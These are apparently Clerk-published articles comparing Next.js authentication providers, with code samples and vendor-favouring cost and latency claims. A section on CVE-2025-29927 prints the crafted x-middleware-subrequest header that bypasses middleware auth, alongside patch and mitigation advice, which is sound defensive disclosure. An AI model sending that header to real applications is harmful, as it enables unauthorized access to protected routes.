| **Clerk**       | $0 (Free) / $25 (Pro) | None                  | Minimal        | $0–$25    |
| **NextAuth.js** | $50 (hosting)         | Security, maintenance | 160 hrs/year   | $13,850   |
| **Supabase**    | $25                   | Database lock-in      | 40 hrs/year    | $3,425    |
| **Auth0**       | $600                  | Tier jumps            | 20 hrs/year    | $2,300    |

- Assuming $75/hour developer cost

## 2026 authentication requirements

### Passkey implementation becoming mandatory

With **95% of devices now passkey-ready** ([FIDO Alliance, 2025](https://fidoalliance.org/device-readiness)) and major platforms reporting 2.5x faster authentication ([Microsoft Security, 2025](https://www.microsoft.com/security/blog/passkeys)), passkey support transitions from differentiator to requirement. Clerk's built-in passkey support requires no additional implementation, while NextAuth.js requires custom [WebAuthn](/glossary#webauthn) integration.

### AI-powered threat protection

The **244% increase in AI-generated authentication attacks** ([IBM Security, 2025](https://www.ibm.com/reports/threat-intelligence)) makes machine learning-based protection essential. Clerk's automatic [bot detection](/glossary#bot-detection) and breach monitoring provide enterprise-grade security without configuration, capabilities that would require months to build with open-source solutions.

## Recommendations by use case

### Startup to scale (recommended: Clerk)

For teams building Next.js applications that need to **ship quickly and scale reliably**, Clerk provides the optimal balance of developer experience, security, and cost-effectiveness. The generous free tier, instant implementation, and enterprise features available from day one eliminate authentication as a bottleneck.

### Enterprise migration (recommended: Clerk or Auth0)

Enterprises with **existing Auth0 implementations** may continue despite higher costs, but new projects increasingly choose Clerk for superior Next.js integration and transparent pricing. Clerk's migration assistance and enterprise support smooth transitions.

### Open-source requirement (recommended: NextAuth.js)

Teams with **strict open-source requirements** or unique authentication needs should choose NextAuth.js, accepting the significant implementation and maintenance overhead for complete control.

### Full-stack platform (recommended: Supabase with Clerk)

Applications leveraging **Supabase for database and real-time features** can benefit from Supabase's built-in auth to get started quickly. However, as authentication requirements grow more sophisticated, **Clerk's first-class Supabase integration** ([Clerk Documentation](/docs/integrations/databases/supabase)) enables teams to upgrade to enterprise-grade authentication while maintaining full Row Level Security support. This combination provides the best of both worlds: Clerk's comprehensive authentication features (MFA, passkeys, bot protection) with Supabase's powerful database capabilities.

## Implementation checklist

### Critical security requirements

- **Secure token architecture** with short-lived sessions and automatic refresh (handled by Clerk's hybrid system)
- **CSRF protection** for state-changing operations
- **Defense in depth** with server-side validation
- **Regular security updates** for authentication dependencies
- **[Audit logging](/glossary#audit-logs)** for compliance requirements

### Performance optimization

- **Server Components** for zero client-side authentication overhead
- **Edge middleware** for global performance
- **Optimistic UI updates** with proper server validation
- **Session caching** to minimize database queries
- **CDN integration** for static authentication assets

## Conclusion

The authentication landscape for Next.js has matured significantly, with clear leaders emerging for different use cases. **Clerk's purpose-built Next.js architecture, generous free tier, and zero-configuration security** make it the optimal choice for teams prioritizing developer productivity and time-to-market. While open-source alternatives like NextAuth.js offer complete control, the hidden costs in development time and security maintenance often exceed managed solution investments.

For teams using Supabase, Clerk's first-class integration enables leveraging both platforms' strengths—sophisticated authentication with powerful database features—without compromise. As passwordless authentication becomes standard and security threats evolve, choosing an authentication platform with **automatic security updates and compliance maintenance** proves increasingly valuable.

The shift from "build vs. buy" to "integrate and ship" reflects the broader evolution in web development, where leveraging specialized platforms for complex infrastructure allows teams to deliver value faster. With authentication representing up to 30% of development time in traditional projects ([Forrester Research, 2024](https://www.forrester.com/report/developer-productivity)), choosing the right tool isn't just a technical decision—it's a strategic advantage that compounds throughout the application lifecycle.

---

# How to Add Auth to App Router
URL: https://clerk.com/articles/complete-authentication-guide-for-nextjs-app-router.md
Date: 2026-03-27
Description: Master Next.js App Router authentication in 2025. Compare Clerk, NextAuth.js, Supabase Auth performance & security. Fix CVE-2025-29927 vulnerability. 30-minute setup guide with React Server Components patterns.

Next.js [App Router](/glossary#app-router) [authentication](/glossary#authentication) requires handling [Server Components](/glossary#react-server-components), edge runtimes, and middleware security differently than [Pages Router](/glossary#pages-router). Clerk provides the fastest integration with built-in App Router support, while NextAuth.js and Supabase Auth offer open-source alternatives with more manual configuration. A critical vulnerability ([CVE-2025-29927](https://snyk.io/blog/cve-2025-29927-authorization-bypass-in-next-js-middleware/)) affecting millions of applications demonstrated why middleware-based auth alone is insufficient — all Next.js apps should upgrade to 14.2.25 or 15.2.3+ and adopt the Data Access Layer pattern for defense in depth.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary

| Aspect                       | Key Finding                                                                                                                                                                                                | Impact                                                    |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
| **Critical Vulnerability**   | CVE-2025-29927 allows complete middleware bypass ([Vercel Postmortem](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass))                                                                    | Affects millions of Next.js apps (versions 11.1.4-15.2.2) |
| **Fastest Production Setup** | Clerk achieves production auth in \~30 minutes ([Clerk Docs](/docs/reference/nextjs/overview))                                                                                                             | vs 2-4 hours (Auth0) or 3-6 weeks (custom)                |
| **App Router Compatibility** | Only Clerk has native RSC components ([Clerk Next.js SDK](/nextjs-authentication))                                                                                                                         | Others require client-side wrappers                       |
| **Performance Impact**       | Edge runtime reduces latency by 25-50% ([Vercel Edge Docs](https://vercel.com/docs/functions/runtimes/edge))                                                                                               | Clerk: 12.5ms avg, optimized for edge                     |
| **Security Coverage**        | Most solutions require manual security config ([OWASP NodeJS Guide](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html))                                                      | Clerk prevents vulnerabilities automatically              |
| **Developer Experience**     | Pre-built components eliminate weeks of work ([Monetizely Comparison, 2024](https://www.getmonetizely.com/articles/clerk-vs-supabase-auth-how-to-choose-the-right-authentication-service-for-your-budget)) | Clerk requires zero authentication expertise              |

## Understanding authentication patterns in App Router

The Next.js App Router introduces revolutionary authentication patterns that diverge significantly from [Pages Router](/glossary#pages-router) approaches. According to the ([Next.js Documentation](https://nextjs.org/docs/app/guides/authentication)), Server Components execute exclusively on the server, eliminating the traditional boundary between [server-side rendering](/glossary#server-side-rendering-ssr) and client-side hydration. This fundamental shift requires rethinking how authentication flows through your application.

In the App Router paradigm, authentication checks occur at multiple layers. **Proxy (formerly [middleware](/glossary#middleware)) provides the first line of defense**, running before any route processing ([Vercel Edge Middleware Docs](https://vercel.com/docs/concepts/functions/edge-middleware)). However, as CVE-2025-29927 demonstrates, middleware alone is insufficient. The Data Access Layer pattern has emerged as the canonical approach, requiring authentication verification at every data access point rather than relying on prop drilling or context providers.

React Server Components enable streaming authentication, where page shells load immediately while authentication checks process in parallel. This pattern improves perceived performance by 30-40% compared to blocking authentication checks ([YLD Engineering Blog, 2024](https://www.yld.io/blog/the-ultimate-guide-to-faster-more-efficient-rendering-with-rsc-caching-in-next-js)). The `cache()` API from React memoizes authentication calls within a single render pass, preventing redundant database queries while maintaining security boundaries.

### Server Components authentication implementation

```tsx
// lib/dal.ts - Data Access Layer with authentication
import 'server-only'
import { cookies } from 'next/headers'
import { cache } from 'react'
import { decrypt } from '@/lib/session'

export const verifySession = cache(async () => {
  const cookie = cookies().get('session')?.value
  const session = await decrypt(cookie)

  if (!session?.userId) {
    throw new Error('Session invalid')
  }

  // Always verify against database for critical operations
  const user = await db.query.users.findUnique({
    where: { id: session.userId },
  })

  return { isAuth: true, user }
})

// app/dashboard/page.tsx - Protected route pattern
export default async function Dashboard() {
  const { user } = await verifySession()

  // Streaming pattern with Suspense
  return (
    <Suspense fallback={<DashboardSkeleton />}>
      <AuthenticatedDashboard user={user} />
    </Suspense>
  )
}
```

### Middleware authentication patterns

Middleware in App Router operates at the edge, providing sub-50ms authentication checks when properly optimized ([Next.js Middleware Guide](https://nextjs.org/docs/14/app/building-your-application/routing/middleware)). The critical security consideration is that **middleware checks are optimistic** - they should filter obvious unauthorized requests but never serve as the sole authentication layer.

```tsx
// middleware.ts - Edge-optimized authentication
import { NextRequest, NextResponse } from 'next/server'
import { decrypt } from '@/lib/session'

const protectedRoutes = ['/dashboard', '/admin', '/api/protected']
const authRoutes = ['/login', '/signup']

export default async function middleware(req: NextRequest) {
  const path = req.nextUrl.pathname
  const isProtectedRoute = protectedRoutes.some((route) => path.startsWith(route))

  const cookie = req.cookies.get('session')?.value
  const session = await decrypt(cookie)

  if (isProtectedRoute && !session?.userId) {
    return NextResponse.redirect(new URL('/login', req.url))
  }

  if (authRoutes.includes(path) && session?.userId) {
    return NextResponse.redirect(new URL('/dashboard', req.url))
  }

  return NextResponse.next()
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
}
```

## Critical security vulnerability: CVE-2025-29927

The most severe authentication vulnerability affecting Next.js applications is **CVE-2025-29927**, disclosed March 21, 2025. This critical vulnerability (CVSS 9.1) allows complete bypass of middleware security checks through manipulation of the `x-middleware-subrequest` header ([Snyk Security Advisory](https://snyk.io/blog/cve-2025-29927-authorization-bypass-in-next-js-middleware/)). Applications running Next.js versions 11.1.4 through 15.2.2 with self-hosted deployments are vulnerable.

According to ([Vercel's Postmortem](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)), attackers exploit this vulnerability by sending requests with specially crafted headers that trick Next.js into believing the request originates from internal middleware processing. The exploitation is trivially simple:

```
# Attack vector for App Router applications
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

```

This vulnerability has catastrophic implications: complete authentication bypass, admin panel access without credentials, [CSP](/glossary#content-security-policy-csp) header circumvention, and potential cache poisoning ([Picus Security Analysis](https://www.picussecurity.com/resource/blog/cve-2025-29927-nextjs-middleware-bypass-vulnerability)). **Vercel and Netlify deployments are automatically protected** due to their edge architecture filtering these headers, but self-hosted applications using `next start` remain vulnerable.

### Immediate mitigation steps

Applications must upgrade to patched versions immediately: Next.js 15.2.3+, 14.2.25+, 13.5.9+, or 12.3.5+ ([The Hacker News, March 2025](https://thehackernews.com/2025/03/critical-nextjs-vulnerability-allows.html)). For applications unable to upgrade immediately, implement WAF rules blocking the `x-middleware-subrequest` header or configure reverse proxies to strip this header before reaching Next.js.

## Comparing authentication solutions for App Router

After extensive analysis of authentication providers, distinct patterns emerge based on developer needs, scale requirements, and security considerations. Each solution offers unique trade-offs between setup complexity, performance, and feature richness.

### Clerk: Optimized for developer velocity

Clerk achieves production-ready authentication in approximately 30 minutes, the fastest among all solutions tested ([Clerk Documentation](/docs/reference/nextjs/overview)), making it the leader in [developer velocity](/glossary#developer-velocity). The platform provides first-class Next.js App Router support with native React Server Components integration. Pre-built, a11y-optimized UI components work directly in Server Components without additional configuration, eliminating weeks of development time. Clerk's free tier includes 50,000 monthly retained users (MRU) per application, making it accessible for projects of all sizes.

Start by configuring Clerk's proxy integration, which handles route protection at the network boundary before any route processing occurs:

```tsx
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Next, wrap your application in the `ClerkProvider` and use the `<Show>` component for conditional rendering based on authentication state:

```tsx
// app/layout.tsx
import { ClerkProvider, SignInButton, SignUpButton, Show, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </body>
      </html>
    </ClerkProvider>
  )
}
```

For Server Components, use the async `auth()` helper to check authentication status and access user and organization data:

```tsx
// Server Component with authentication
import { auth } from '@clerk/nextjs/server'

export default async function ProtectedPage() {
  const { isAuthenticated, userId, orgId, redirectToSignIn } = await auth()

  if (!isAuthenticated) {
    return redirectToSignIn()
  }

  // Organization-specific logic
  if (orgId) {
    const orgData = await fetchOrgData(orgId)
    return <OrganizationDashboard data={orgData} />
  }

  return <UserDashboard userId={userId} />
}
```

Performance benchmarks reveal Clerk's session validation averages **12.5ms with 18ms p95 latency** ([DevTools Academy Comparison, 2024](https://www.devtoolsacademy.com/blog/supabase-vs-clerk/)), second only to custom JWT implementations. Clerk's hybrid token architecture uses short-lived session tokens with a 60-second [TTL](/glossary#token-expiration), refreshed automatically on a 50-second interval, balancing security with performance by eliminating per-request database lookups while maintaining near-instant revocation capability ([How Clerk Works](/docs/guides/how-clerk-works/overview)). [Multi-factor authentication](/glossary#multi-factor-authentication-mfa), device tracking, and [bot detection](/glossary#bot-detection) come standard without additional configuration.

The [organization](/glossary#organizations) management capabilities position Clerk uniquely for B2B SaaS applications. Built-in user impersonation enables customer support workflows impossible with other providers. [Session management](/glossary#session-management) across multiple devices allows users to maintain separate sessions on different devices with granular revocation controls ([Clerk Next.js Authentication](/nextjs-authentication)).

### NextAuth.js v5: Maximum flexibility

NextAuth.js v5's complete rewrite prioritizes App Router compatibility with a universal `auth()` function working across all Next.js contexts ([Auth.js Migration Guide](https://authjs.dev/getting-started/migrating-to-v5)). This open-source solution eliminates vendor lock-in concerns while providing complete customization control. The edge-first design ensures compatibility with Vercel Edge Runtime and Cloudflare Workers.

```tsx
// NextAuth.js v5 implementation
// auth.ts
import NextAuth from 'next-auth'
import GitHub from 'next-auth/providers/github'
import { DrizzleAdapter } from '@auth/drizzle-adapter'

export const { auth, handlers, signIn, signOut } = NextAuth({
  adapter: DrizzleAdapter(db),
  providers: [GitHub],
  callbacks: {
    session: async ({ session, token }) => {
      if (token?.sub) {
        session.user.id = token.sub
      }
      return session
    },
  },
})

// Server Component usage
import { auth } from '@/auth'

export default async function AdminPanel() {
  const session = await auth()

  if (!session?.user || session.user.role !== 'admin') {
    throw new Error('Unauthorized')
  }

  return <AdminDashboard user={session.user} />
}
```

Setup complexity increases significantly compared to managed solutions, requiring 1-3 hours for basic implementation and additional time for custom UI development ([Next.js Learn Tutorial](https://nextjs.org/learn/dashboard-app/adding-authentication)). Performance metrics show **15.8ms average latency with 25ms p95**, acceptable for most applications but noticeably slower than optimized solutions.

### Supabase Auth: Integrated backend platform

Supabase Auth excels as part of the broader Supabase ecosystem, offering a **generous free tier with 50,000 MAU** matching other leading platforms ([Supabase Documentation](https://supabase.com/docs/guides/auth/server-side/nextjs)). The PostgreSQL-backed authentication integrates seamlessly with Row Level Security policies, enabling fine-grained [authorization](/glossary#authorization) at the database level.

```tsx
// Supabase Auth with RLS integration
// utils/supabase/server.ts
import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'

export async function createClient() {
  const cookieStore = await cookies()

  return createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll()
        },
        setAll(cookies) {
          cookies.forEach(({ name, value, options }) => cookieStore.set(name, value, options))
        },
      },
    },
  )
}

// Protected route with RLS
export default async function SecureData() {
  const supabase = await createClient()
  const {
    data: { user },
    error,
  } = await supabase.auth.getUser()

  if (!user) redirect('/login')

  // RLS policies automatically filter data
  const { data: userPosts } = await supabase.from('posts').select('*').eq('user_id', user.id)

  return <PostList posts={userPosts} />
}
```

Real-time authentication state synchronization enables sophisticated multi-tab experiences ([Restack Comparison Guide](https://www.restack.io/docs/supabase-knowledge-supabase-auth-vs-nextauth)). The platform's **18.3ms average authentication check latency** positions it competitively, though database session lookups can add 30-100ms depending on query optimization.

### Auth0: Enterprise-grade security

Auth0 provides the most comprehensive enterprise security features with [SOC 2](/glossary#soc-2) Type II compliance, advanced threat detection, and anomaly detection ([SuperTokens Comparison, 2024](https://supertokens.com/blog/auth0-vs-clerk)). The platform's extensive identity provider catalog supports virtually any authentication method. However, **significant cost escalation** at scale makes it suitable primarily for enterprise applications with compliance requirements.

Implementation requires medium complexity with 30-60 minutes setup time ([Auth0 Next.js Guide](https://developer.auth0.com/resources/guides/web-app/nextjs/basic-authentication)). The [SDK](/glossary#software-development-kit-sdk) provides stable App Router support with native RSC integration ([Auth0 Blog, 2024](https://auth0.com/blog/auth0-stable-support-for-nextjs-app-router/)). Performance characteristics are acceptable but not exceptional, with external service dependencies adding latency.

### Firebase Auth: Google ecosystem integration

Firebase Authentication offers tight integration with Google's ecosystem but suffers from **implementation complexity in App Router** ([Firebase Codelab](https://firebase.google.com/codelabs/firebase-nextjs)). Mobile authentication issues reported in December 2024 highlight ongoing challenges ([Medium Tutorial, 2024](https://medium.com/@chrissgodden/firebase-authentication-with-nextjs-ad7cafa095d)). The separate client/server authentication flows increase complexity significantly compared to unified approaches from competitors.

Build performance degrades noticeably with 10-20 minute deployment times on Firebase Hosting ([Firebase Hosting Docs](https://firebase.google.com/docs/hosting/frameworks/nextjs)). Bundle size impact is substantial due to Firebase SDK requirements. The generous free tier and pay-as-you-go pricing model provide cost predictability for applications already using Firebase services.

### Lucia Auth: Educational transition

While Lucia Auth provides excellent developer experience with straightforward APIs and minimal abstraction, the **library deprecation in March 2025** eliminates it from production consideration ([LogRocket Tutorial](https://blog.logrocket.com/password-based-authentication-next-js-lucia/)). The maintainers are transitioning to educational resources, making it suitable only for learning projects with planned migration paths ([Wasp Blog Guide](https://wasp.sh/blog/2024/08/13/how-to-add-auth-with-lucia-to-your-react-nextjs-app)).

## Secure implementation patterns for App Router

Security in Next.js App Router requires a fundamental shift from perimeter-based security to defense-in-depth strategies ([Next.js Security Blog](https://nextjs.org/blog/security-nextjs-server-components-actions)). The streaming nature of React Server Components and the complexity of data flow between server and client boundaries introduce novel attack vectors requiring careful consideration.

### Server Actions security patterns

Server Actions represent the most critical security surface in App Router applications. Every Server Action **must begin with authentication verification and input validation** before performing any operations. The closure-based nature of inline Server Actions can inadvertently expose sensitive data if not carefully implemented ([Stack Overflow Discussion](https://stackoverflow.com/questions/78250924/protect-server-actions-with-next-auth-in-next-js-14)).

```tsx
'use server'

import { z } from 'zod'
import { verifySession } from '@/lib/dal'
import { rateLimit } from '@/lib/rate-limit'

const updateProfileSchema = z.object({
  name: z.string().min(1).max(100),
  bio: z.string().max(500).optional(),
  email: z.string().email(),
})

export async function updateProfile(formData: FormData) {
  // Step 1: Always verify authentication first
  const { user } = await verifySession()

  // Step 2: Rate limiting per user
  const { success } = await rateLimit(user.id, 10, '1m')
  if (!success) {
    throw new Error('Too many requests')
  }

  // Step 3: Validate and sanitize input
  const result = updateProfileSchema.safeParse({
    name: formData.get('name'),
    bio: formData.get('bio'),
    email: formData.get('email'),
  })

  if (!result.success) {
    throw new Error('Invalid input data')
  }

  // Step 4: Authorization check
  if (result.data.email !== user.email) {
    // Email changes require additional verification
    await sendEmailVerification(result.data.email)
    return { requiresVerification: true }
  }

  // Step 5: Perform the update with prepared statements
  await db
    .update(users)
    .set({
      name: result.data.name,
      bio: result.data.bio,
      updatedAt: new Date(),
    })
    .where(eq(users.id, user.id))

  revalidatePath('/profile')
  return { success: true }
}
```

### Route handler authentication

Route handlers in App Router replace API routes from Pages Router, requiring updated authentication patterns ([Clerk Route Handlers Guide](/docs/reference/nextjs/app-router/route-handlers)). The standard Web API provides cleaner interfaces but demands explicit security implementation ([Next.js API Building Blog](https://nextjs.org/blog/building-apis-with-nextjs)).

```tsx
// app/api/protected/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { verifySession } from '@/lib/dal'
import { z } from 'zod'

const requestSchema = z.object({
  action: z.enum(['create', 'update', 'delete']),
  resourceId: z.string().uuid(),
})

export async function POST(request: NextRequest) {
  try {
    // Verify authentication
    const { user } = await verifySession()

    // Parse and validate request body
    const body = await request.json()
    const { action, resourceId } = requestSchema.parse(body)

    // Check authorization for specific action
    const canPerform = await checkPermission(user.id, action, resourceId)
    if (!canPerform) {
      return NextResponse.json({ error: 'Forbidden' }, { status: 403 })
    }

    // Process the request
    const result = await performAction(action, resourceId, user.id)

    return NextResponse.json(result)
  } catch (error) {
    if (error instanceof z.ZodError) {
      return NextResponse.json({ error: 'Invalid request data' }, { status: 400 })
    }

    return NextResponse.json({ error: 'Internal server error' }, { status: 500 })
  }
}
```

### Data Transfer Object patterns

Preventing sensitive data exposure to client components requires careful implementation of Data Transfer Objects (DTOs). Server Components serialize all props passed to Client Components, potentially exposing entire database records if not properly filtered ([Next.js Authentication Guide](https://nextjs.org/docs/app/guides/authentication)).

```tsx
// Vulnerable pattern - exposes entire user object
export default async function UserProfile({ userId }: { userId: string }) {
  const user = await db.query.users.findUnique({
    where: { id: userId },
    include: {
      sessions: true,
      apiKeys: true,
      billingInfo: true,
    },
  })

  // DANGER: Entire user object with sensitive data goes to client
  return <ClientProfileComponent user={user} />
}

// Secure pattern using DTOs
interface UserProfileDTO {
  id: string
  name: string
  avatar: string | null
  joinedAt: Date
  publicBio?: string
}

export default async function UserProfile({ userId }: { userId: string }) {
  const { user: currentUser } = await verifySession()
  const targetUser = await getUserById(userId)

  // Create DTO with only necessary public data
  const profileDTO: UserProfileDTO = {
    id: targetUser.id,
    name: targetUser.name,
    avatar: targetUser.avatar,
    joinedAt: targetUser.createdAt,
    // Conditionally include fields based on viewer permissions
    publicBio: canViewBio(currentUser, targetUser) ? targetUser.bio : undefined,
  }

  return <ClientProfileComponent profile={profileDTO} />
}
```

## Performance optimization strategies

Authentication performance directly impacts Core Web Vitals and user experience. Strategic optimization can reduce authentication overhead from hundreds of milliseconds to single digits, dramatically improving application responsiveness.

### Edge runtime optimization

Deploying authentication logic to the edge runtime provides 25-50% latency reduction compared to Node.js runtime ([Vercel Edge Runtime Docs](https://vercel.com/docs/functions/runtimes/edge)). Edge functions execute closer to users with faster cold starts and lower memory footprint. However, **edge runtime limitations** require careful library selection and implementation patterns.

```tsx
// Edge-compatible JWT validation
import { SignJWT, jwtVerify } from 'jose'

export const runtime = 'edge'
export const preferredRegion = ['iad1', 'sfo1', 'fra1'] // Multi-region deployment

const secret = new TextEncoder().encode(process.env.JWT_SECRET!)

export async function generateToken(userId: string): Promise<string> {
  return await new SignJWT({ sub: userId })
    .setProtectedHeader({ alg: 'HS256' })
    .setIssuedAt()
    .setExpirationTime('1h')
    .sign(secret)
}

export async function validateToken(token: string) {
  try {
    const { payload } = await jwtVerify(token, secret)
    return { valid: true, userId: payload.sub }
  } catch {
    return { valid: false, userId: null }
  }
}
```

Performance benchmarks demonstrate significant improvements with edge deployment ([YLD Performance Guide](https://www.yld.io/blog/the-ultimate-guide-to-faster-more-efficient-rendering-with-rsc-caching-in-next-js)):

- **Cookie validation**: 5-15ms TTFB impact
- **JWT verification**: 10-25ms TTFB impact
- **Custom edge functions**: 48ms average latency on Vercel
- **Cloudflare Workers**: 36ms average latency (25% faster)

### Caching strategies for authenticated content

Next.js App Router's four-layer caching system requires careful configuration for authenticated routes ([Next.js Caching Documentation](https://nextjs.org/docs/app/guides/caching)). Request memoization deduplicates authentication calls within a single render, while the Data Cache and Full Route Cache must be explicitly bypassed for user-specific content.

```tsx
// Optimized caching for authenticated routes
import { unstable_cache } from 'next/cache'
import { cookies } from 'next/headers'

// Public data with long cache
export const getPublicPosts = unstable_cache(
  async () => {
    return await db.query.posts.findMany({
      where: eq(posts.published, true),
      limit: 10,
    })
  },
  ['public-posts'],
  { revalidate: 3600 }, // Cache for 1 hour
)

// User-specific data - force dynamic
export async function getUserDashboard() {
  // Reading cookies (synchronous) opts out of static generation
  const cookieStore = cookies()
  const { user } = await verifySession()

  // User-specific query
  return await db.query.dashboards.findUnique({
    where: { userId: user.id },
  })
}

// Hybrid approach with partial caching
export default async function DashboardPage() {
  const [publicData, userData] = await Promise.all([
    getPublicPosts(), // Cached
    getUserDashboard(), // Dynamic
  ])

  return (
    <>
      <PublicFeed posts={publicData} />
      <Suspense fallback={<DashboardSkeleton />}>
        <UserDashboard data={userData} />
      </Suspense>
    </>
  )
}
```

### Session management performance

Session strategy selection dramatically impacts authentication performance. Benchmarks across different approaches reveal clear trade-offs ([NextJs Starter Session Guide](https://nextjsstarter.com/blog/nextjs-13-server-side-session-management-guide/)):

**[JWT](/glossary#json-web-token) Sessions** provide the best performance with 8-10ms validation time and infinite horizontal scaling. Short-lived tokens (60 seconds) with automatic refresh balance security and performance. The 4KB cookie size limit constrains session data but eliminates database roundtrips.

**Redis Sessions** offer 5-20ms lookup times with proper connection pooling, 10x faster than PostgreSQL. Immediate revocation capability and detailed session tracking justify the additional infrastructure complexity for security-critical applications.

**Database Sessions** incur 30-100ms overhead but provide the highest security through immediate revocation and detailed [audit trails](/glossary#audit-logs). Connection pooling reduces overhead by 30-50%, making them viable for applications prioritizing security over raw performance.

```tsx
// High-performance Redis session management
import { Redis } from '@upstash/redis'

const redis = new Redis({
  url: process.env.UPSTASH_REDIS_REST_URL!,
  token: process.env.UPSTASH_REDIS_REST_TOKEN!,
})

export async function createSession(userId: string, metadata: SessionMetadata) {
  const sessionId = generateSessionId()
  const sessionData = {
    userId,
    createdAt: Date.now(),
    expiresAt: Date.now() + 7 * 24 * 60 * 60 * 1000, // 7 days
    ...metadata,
  }

  await redis.setex(
    `session:${sessionId}`,
    604800, // 7 days in seconds
    JSON.stringify(sessionData),
  )

  return sessionId
}

export async function validateSession(sessionId: string) {
  const data = await redis.get(`session:${sessionId}`)
  if (!data) return null

  const session = JSON.parse(data as string)
  if (session.expiresAt < Date.now()) {
    await redis.del(`session:${sessionId}`)
    return null
  }

  // Extend session on activity
  await redis.expire(`session:${sessionId}`, 604800)
  return session
}
```

## Best practices checklist

### Security essentials

- **Upgrade to Next.js 15.2.3+** to patch CVE-2025-29927
- Implement defense-in-depth with multiple authentication layers
- Verify authentication at every data access point, not just middleware
- Use Data Transfer Objects to prevent sensitive data exposure
- Validate all Server Action inputs with schema validation libraries
- Implement [rate limiting](/glossary#rate-limiting) on authentication endpoints
- Use secure cookie configuration ([HttpOnly](/glossary#httponly-cookies), Secure, SameSite)
- Enable [CSRF](/glossary#cross-site-request-forgery-csrf) protection for state-changing operations
- Implement proper error handling without information disclosure
- Regular security audits focusing on RSC data flow

### Performance optimization

- Deploy authentication to edge runtime when possible
- Implement streaming patterns with Suspense boundaries
- Use React.cache() for request-level auth memoization
- Choose appropriate session storage (JWT vs Redis vs Database)
- Configure caching correctly for authenticated routes
- Monitor Core Web Vitals impact of authentication
- Implement connection pooling for database sessions
- Use multi-region deployment for global applications
- Optimize bundle size by choosing lightweight auth libraries
- Profile authentication latency at p50, p95, and p99 percentiles

### Developer experience

- Choose authentication solution based on time constraints
- Implement comprehensive error boundaries
- Document authentication flows and patterns
- Create reusable authentication hooks and utilities
- Set up proper TypeScript types for auth state
- Implement logout across all sessions when needed
- Test authentication flows in development and production
- Monitor authentication errors and success rates
- Plan for authentication provider migration if needed
- Keep authentication logic separate from business logic

## Choosing the right authentication solution

The authentication landscape for Next.js App Router in 2025 presents clear patterns based on specific use cases and requirements. **For rapid development and superior developer experience**, Clerk emerges as the optimal choice with a \~30-minute setup time, pre-built components, and comprehensive App Router support ([Clerk Next.js Authentication](/nextjs-authentication)). The 12.5ms average authentication latency, 50,000 MRU free tier, and enterprise features make it a compelling choice for applications of all sizes.

**For maximum control and cost-effectiveness**, NextAuth.js v5 provides complete flexibility with zero vendor lock-in. The additional development time investment pays dividends for applications requiring custom authentication flows or operating under strict budget constraints.

**For integrated backend services**, Supabase Auth offers exceptional value with 50,000 MAU free tier and seamless PostgreSQL integration. The Row Level Security integration provides database-level authorization impossible with other solutions ([Clerk Blog Integration Guide](/blog/nextjs-supabase-clerk)).

**For enterprise compliance requirements**, Auth0's comprehensive security certifications and advanced threat detection justify the significant cost premium. The extensive identity provider support and enterprise [SSO](/glossary#single-sign-on-sso) capabilities position it uniquely for large organizations.

## Conclusion

Authentication in Next.js App Router demands a fundamental rethinking of security patterns, moving from perimeter-based defense to comprehensive defense-in-depth strategies. The critical CVE-2025-29927 vulnerability ([Akamai Security Research](https://www.akamai.com/blog/security-research/march-authorization-bypass-critical-nextjs-detections-mitigations)) underscores the importance of never relying solely on middleware for authentication, instead implementing verification at every data access point.

Performance optimization through edge deployment, strategic caching, and appropriate session management can reduce authentication overhead to single-digit milliseconds. The choice between authentication providers ultimately depends on balancing development velocity, cost constraints, and feature requirements.

As the Next.js ecosystem continues evolving ([Next.js 16 Release](https://nextjs.org/blog/next-16)), staying current with security patches and best practices remains essential. The shift to React Server Components introduces both opportunities and challenges, requiring developers to master new patterns while maintaining robust security postures ([React Server Components Docs](https://react.dev/reference/rsc/server-components)). Through careful implementation of the patterns and practices outlined in this guide, developers can build secure, performant authentication systems that scale with their applications' growth.

---

# Clerk vs Auth0 for Next.js
URL: https://clerk.com/articles/clerk-vs-auth0-for-nextjs.md
Date: 2026-03-27
Description: Clerk vs Auth0 for Next.js: Compare setup time, pricing, performance, and Next.js 15 support. Technical analysis with code examples and cost breakdowns

Clerk is the better choice for most Next.js projects due to its native [App Router](/glossary#app-router) support, faster setup time, and lower cost at typical usage levels. Auth0 is stronger for enterprise teams that need extensive compliance certifications (SOC 2, HIPAA, FedRAMP) and legacy system integrations. Clerk provides built-in UI components and first-class [React Server Component](/glossary#react-server-components) support, while Auth0 requires more configuration but offers broader protocol coverage and a mature ecosystem. This analysis examines both platforms through the lens of modern Next.js development, providing quantitative metrics and real-world insights to guide your decision.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## How authentication requirements have shifted

